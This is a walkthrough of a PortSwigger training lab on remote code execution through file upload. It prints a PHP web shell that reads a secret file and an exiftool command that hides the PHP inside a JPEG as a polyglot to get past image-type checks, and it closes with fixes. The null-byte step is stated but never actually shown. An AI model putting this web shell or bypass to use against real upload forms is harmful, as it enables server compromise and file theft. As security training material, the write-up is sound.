🗂️PortSwigger Lab Writeup: Remote Code Execution via Polyglot Web Shell Upload

🎯 Objective
The objective of this lab is to exploit a file upload vulnerability where the app has a vulnerable image upload function which can be bypassed using polyglot file. The goal is to upload a basic web shell and exfiltrate the contents of file /home/carlos/secret
- Lab URL:
https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-polyglot-web-shell-upload - Category: File Upload
- Difficulty: Practitioner
🧪 Exploitation Steps
🕵️Step 1: Observe the Website
- Firstly open the lab URL in your browser, and observe what it is about and how it works.


- At first glance, the website seems to be a blogging website with a login page. In the lab description, it is mentioned that we need to exfiltrate the secret of
carlos.
📝Step 2: Upload the payload
- First login with the given credentials -
wiener:peterto access file upload function.
- Now, we can see the file upload function where we can upload an avatar of the user.

- Make basic php web shell named
payload.phpwith the given code:<?php echo file_get_contents('/home/carlos/secret'); ?> - Now, Upload this payload.

- You will notice that the request was rejected as only jpg & png files are allowed to upload.

- Therefore, we will try to bypass this using a polyglot file.
- We will use the tool
exiftoolto make a polyglot file. Use the given command to create.exiftool -Comment="<?php echo 'START' . file_get_contents('/home/carlos/secret') . 'END'; ?>" 65.jpg -o polygot.php - This creates a file that is simultaneously a valid JPEG (with magic bytes intact) and PHP code in the EXIF metadata, bypassing content-type and magic byte checks.
- Now, upload this
polygot.phpby using Null Byte and you will see that our polygot file was uploaded successfully to the server.
🧑💼Step 3: Access the Secret
- Open the uploaded web shell at
/files/avatars/polygot.php - Now, Open the HTTP History in Burpsuite and see the
GET /files/avatars/polygot.phpresponse. - Search for the string
STARTin the response and copy the secret until you found the stringEND
- Now, Copy the secret and submit it to complete the lab.

- And Finally, the Lab is solved.
🧠 Conclusion
- This lab demonstrated polyglot file technique where a valid JPEG image containing PHP code in EXIF metadata bypasses both content-type and magic byte validation checks.
- The impact is critical — polyglot files allow attackers to upload executable code disguised as valid binary files, completely circumventing format-based defenses.
- Fix: validate file contents extensively (not just headers), disable script execution in upload directories, use cryptographic signatures or external sandboxing, and store uploads outside the web root.